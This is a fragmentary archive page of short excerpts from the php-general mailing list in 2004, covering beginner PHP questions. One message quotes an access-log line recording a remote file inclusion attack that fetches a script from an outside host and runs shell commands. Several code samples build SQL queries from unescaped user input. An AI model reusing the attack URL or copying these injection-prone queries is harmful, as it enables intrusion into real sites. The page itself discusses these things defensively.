Anders Gjermshus wrote:
Hi.
Is it possible to get IIS 6 to show php sources. ( phps files )
And how do I do that, I have not found anything about it on php.net or
www.google.com http://www.google.com/
Regards
anders
Is it possible to set a custom 404 handler in IIS? Than you can set it
php-general Digest 15 Feb 2004 10:11:54 - Issue 2591
Topics (messages 177715 through 177725):
Re: phps and iis
177715 by: Anders Gjermshus
177722 by: John W. Holmes
177725 by: Marek Kilimajer
include result from script in midle of other script
177716 by:
Hi!!
When i send data from a form and there is some special characters like ' \ php seems
to add an extra \ before every special character in the transfer from the form to the
point when I put the data in the .txt file where i store it.
It is a guestbook I'm using the script for so it is a
Kristers Hotmail wrote:
Hi!!
When i send data from a form and there is some special characters like ' \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.
It is a guestbook I'm using the
On Sun, 2004-02-15 at 05:59, Kristers hotmail wrote:
I'm sendeing hello from the form
The result I get in my gb.txt file is \hello\
You need to check out magic_quotes[1]. If you do not have access to
php.ini, or want a way to disable it without changing php.ini see my
previous post[2].
[1]
On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:
Could be missing the point here because your question is quite vague.
However...
I am using a web page that uses the following php code to display the
contents of a dynamically update webpage:
?php
include(http://.../source.xls);
?
Is it
On Fri, 13 Feb 2004 12:30:42 +0100, you wrote:
I have a connectoin ODBC with a SQL Server database. A table has a field of
type 'nvarchar'. This field contains japanese characters.
How can I read these japanese characteres? When I read (with: select name
from data) only read '?' character.
I've
Try starting your browser with:
http://localhost/
-
zerof
http://www.educar.pro.br/PAGES/
-
Anders Gjermshus [EMAIL PROTECTED] escreveu na mensagem
news:[EMAIL PROTECTED]
I have installed php on my iis server. What I'm looking for is how to get
php sources to work on IIS. Like phps
Marek Kilimajer wrote:
Anders Gjermshus wrote:
Is it possible to get IIS 6 to show php sources. ( phps files )
Is it possible to set a custom 404 handler in IIS? Than you can set it
to a php page, in the php page parse the request URI and highlight_file().
Good catch; never thought of that. It
I'm not sure I phrased my subject well, but...
The following is just to build a select menu from a table query result set.
It sort of works, but doesn't return the first row in the result set, ie if
I have the following rows in the table 'cats';
id title
==
1 Pears
2 Oranges
3
Thanks!
It works like a charm!
/peter
On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:
Could be missing the point here because your question is quite vague.
However...
I am using a web page that uses the following php code to display the
contents of a dynamically update webpage:
?php
I'm trying to extract the year for a query from a date/time field in MS
Access via PHP.
The data type is Date/Time and formated as Long Integer.
Viewing it in Access 31 December 2003
Viewing it in PHP without formating 2003-12-31 00:00:00
I want to create a query based on the year only. I could
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
try:
echo select name=\cats\;
$result = mysql_query(select * from cats order by title);
while ($c = mysql_fetch_array($result)) {
echo option value=\$c[id]\$c[title]/option;
}
echo /select;
Verdon Vaillancourt wrote:
I'm not sure I phrased my
The following script is from Kevin Yank's book (Sitepoint).
When I test it _without_ entering a name in the text box and hit submit, the
_next_ page
loads - however the same page should load beacuse of the conditional
if (!isset($name) ):
.
If I replace
!isset()
with
empty()
Hello Anthony,
Sunday, February 15, 2004, 4:43:12 PM, you wrote:
AR Why doesn't the call to !isset() with the negation mark loads the next page
AR when a name is not entered?
Because it's using isset() in the wrong capacity.
isset() does not check to see if a variable HAS a value, it checks to
- Original Message -
From: Richard Davey [EMAIL PROTECTED]
Hello Anthony,
I feel the book you're learning from might not be the best out there!
Especially as it uses the horrible if : else : endif notation,
includes code on the same line as the PHP tags themselves and is
teaching
On Monday 16 February 2004 02:30, Richard Davey wrote:
I feel the book you're learning from might not be the best out there!
Especially as it uses the horrible if : else : endif notation,
includes code on the same line as the PHP tags themselves
What is horrible about that style? IMO doing
On Monday 16 February 2004 00:37, YC Nyon wrote:
I'm trying to extract the year for a query from a date/time field in MS
Access via PHP.
What you have above and what you have below are different ...
I want to create a query based on the year only. I could do it with some
string functions.
I know that use of PHP with Apache 2.x.x is
discouraged. I use 1.3.29 for my main site.
Currently I am doing some testing with SSL
connections and because Apache 2.0.48 is
already installed on my Redhat 8.0 server
and configured with SSL I have been using
that (for testing). All my testing is
Hello,
I found very interesting messages in my access log:
http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?cmd=uname%20-a;id;
It looks as trying of hack. Am I immune, if I have safe mod (because
asu.txt is php script, which runs function system()).
I have a problem. When I call the function phpinfo() I can correctly see the page with the informationabout the server; but when I use a form to pass some information from a php page to another phppage, if I use a print() or an echo() function, I can't seemy variables. Why??? Help me
give the corresponding source code
are you using POST or GET ? What about REGISTER_GLOBALS ???
PS : NO MAILS IN HTML ON THE LIST, PLEASE
-Message d'origine-
De : Alessandro Rodiani [mailto:[EMAIL PROTECTED]
Envoyé : dimanche 15 février 2004 21:29
À : [EMAIL PROTECTED]; [EMAIL PROTECTED]
That did the trick, and I learned something new. thanks :)
verdon
On 2/15/04 11:38 AM, Duncan [EMAIL PROTECTED] wrote:
Problem is, that the first row is already in the $categories variable -
since you have the first mysql_fetch_array call there.
change it to:
echo select name=\cats\;
Hi Adam Bregenzer, you wrote:
On Fri, 2004-02-13 at 18:25, Matthias Nothhaft wrote:
The other problem is: I would like to draw a screen
like midnight commander does. Is there a way to get that
work with PHP ?
Ahh, sounds like a Slackware fan. :)
don't really know what it is. I just wanna
write
Xmg wrote:
I know that use of PHP with Apache 2.x.x is discouraged.
Wow, thanks for the tip. I'm using Apache 2 and have had no problems,
but I've only done very basic things with MySQL and PHP so far. I hope I
don't have to switch to Apache 1.3 when I get in a little deeper!
--
PHP General
Thanks for the feedback.
Here was my problem; I misunderstood how the + worked. It only
applies to the last \n, not both n\n.
Hans Juergen Von Lengerke wrote:
From: Al [EMAIL PROTECTED]
$text= preg_replace(/\n\n+/, \n\n, $text);
// remove excess This doesn't seem to do anything.
Hello,
when I'm building php as a cgi-module, a 'ldd php' shows a list of some
libraries, that are linked in dynamically. How can I link some of them
statically into the php-binary? I can't rely of external libs in some cases.
Regards
Marten
--
PHP General Mailing List (http://www.php.net/)
To
php-general Digest 15 Feb 2004 22:17:39 - Issue 2592
Topics (messages 177726 through 177751):
Need help with output from form to .txt file
177726 by: Kristers hotmail
177727 by: Thorben
177728 by: Thorben
177729 by: Adam Bregenzer
Re: Question about php
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
just fixing something hehe
echo select name=\cats\;
$result = mysql_query(select * from cats order by title);
if ($result) {
while ($c = mysql_fetch_array($result)) {
echo option value=\$c[id]\$c[title]/option;
}
}
echo /select;
André
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
on index.php, are you including directly the file passed by content?
if you are vulnerable, the autor of your index.php is the one to blame,
not php hehe
if safe mode is on, you may be immune to this asu.txt, but dont relly on
it against everything
I need to use PHP to pull the first page from a Word Document and then
print it to the screen. It doesnt have to be fancy, so even if just the
text is pulled that would be fine (although formatting would be grand
too).
Anyone got any ideas? I cant use the COM object since Im running this on a
Is there something obviously wrong with this code?
mail([EMAIL PROTECTED],[EMAIL PROTECTED],'[FLAG] Info edited: '.$theInfo.' by
'.$REMOTE_HOST, 'From: '.$emailAdmin.\r\n);
I'm trying to show the IP of the person who just edited some info, in the
email that I send myself whenever
Hello,
the following code shows my problem:
?php
class MyElement extends DomElement {
function __construct($name) {
parent::__construct($name);
}
}
$doc = new DomDocument();
$node = new
On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:
As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
real nodes (why!?!) and the consequence is that you couldn't append such
a node with
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
cfif $query_qUsername.RecordCount GT 0
User already exists do something
On Sun, 2004-02-15 at 19:03, Birkholz, James wrote:
mail([EMAIL PROTECTED],[EMAIL PROTECTED],'[FLAG] Info edited: '.$theInfo.' by
'.$REMOTE_HOST, 'From: '.$emailAdmin.\r\n);
Try $_SERVER['REMOTE_HOST']
Also, if apache is not configured with HostnameLookups On this won't be
set. You can get
You're right, the addr is what I really want, and
_SERVER[REMOTE_ADDR] works, but when I tried the _SERVER[REMOTE_HOST],
it is still empty, so my web host must HostnameLookups OFF. Problem solved,
and thanks to all!
James
-Original Message-
From: [EMAIL PROTECTED]
On Sun, 2004-02-15 at 17:19, Marten Lehmann wrote:
when I'm building php as a cgi-module, a 'ldd php' shows a list of some
libraries, that are linked in dynamically. How can I link some of them
statically into the php-binary? I can't rely of external libs in some cases.
You will need to
Hi,
Do a select query with a COUNT() in it
if you dont understand that read the php manual for accessing the database
and lookup the mysql COUNT
-Ryan
On 2/16/2004 1:35:42 AM, PETCOL ([EMAIL PROTECTED]) wrote:
PHP Newbie,
I'm trying to find out if a username already appears in my
On Sun, 2004-02-15 at 18:28, Russell P Jones wrote:
I need to use PHP to pull the first page from a Word Document and then
print it to the screen. It doesnt have to be fancy, so even if just the
text is pulled that would be fine (although formatting would be grand
too).
[snip]
I was
Hi folks. I'm wondering if anyone out there can point me in the
direction of a good tutorial/article on how to implement authentication
using Kerberos in a PHP application running on Apache 2.0.
I've googled and searched the lists but I can't find any tutorials or
articles which fully explain
In article [EMAIL PROTECTED],
[EMAIL PROTECTED] says...
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
cfif
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
I believe you forgot to read the manual.
$query_qUsername = SELECT * FROM users WHERE username = '$username';
$num_rows = mysql_num_rows($query_qUsername);
$query_qUsername is a String
mysql_num_rows want a result resource as argument
You have no
Andre,
Thank you, I had read the manual, understanding it fully when you've been
coding in another language is another matter.
I had relied on DreamweaverMX to create the Database connection which meant
I didn't really understand how it was returning the results.
I was able to output the
hi!
i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.
i was using header(url)
hi!
i have a login page that after validating the login and passwords does something
like
// initiate a session
session_start();
// register some session variables
session_register(SESSION);
// including the username
use sleep(no of seconds)..
Cheers
Binay
- Original Message -
From: ajay [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Monday, February 16, 2004 9:54 AM
Subject: [PHP] PHP REDIRECT
hi!
i'd like to redirect a person to another page but after a certain time
interval
has elapsed. this
set the session.save_path directive in php.ini file..
By default this is set to /tmp but as u working on win mchine please create
a session directory and specify the corresponding path to aforesaid
directive.
Cheers
Binay
- Original Message -
From: ajay [EMAIL PROTECTED]
To: [EMAIL
Hi,
Monday, February 16, 2004, 2:27:21 PM, you wrote:
a hi!
a i have a login page that after validating the login and passwords does something
a like
a // initiate a session
a session_start();
a // register some session variables
a
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
i think the query: SELECT count(uid) FROM users WHERE
username='$username', will give a one row result, that row will have
one field, and that field is the number of rows that match the where
clause (you are using count(uid))
if there is no match, the
André,
Thank you for your patience, solution one works fine.
Regards
Col
André cerqueira [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
i think the query: SELECT count(uid) FROM users WHERE
username='$username', will give a one row
You can't view the page and have PHP redirect it. You would need to use a
meta refresh tag or JavaScript.
Chris
-Original Message-
From: ajay [mailto:[EMAIL PROTECTED]
Sent: Sunday, February 15, 2004 8:25 PM
To: [EMAIL PROTECTED]
Subject: [PHP] PHP REDIRECT
hi!
i'd like to
PETCOL wrote:
PHP Newbie,
I'm trying to find out if a username already appears in my database.
I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:
cfif $query_qUsername.RecordCount GT 0
User already
ajay wrote:
hi!
i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.
i was using
On 2/16/04 1:24 AM, Adam Bregenzer wrote:
On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:
As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
real nodes (why!?!) and the consequence is that you
55 matches
Mail list logo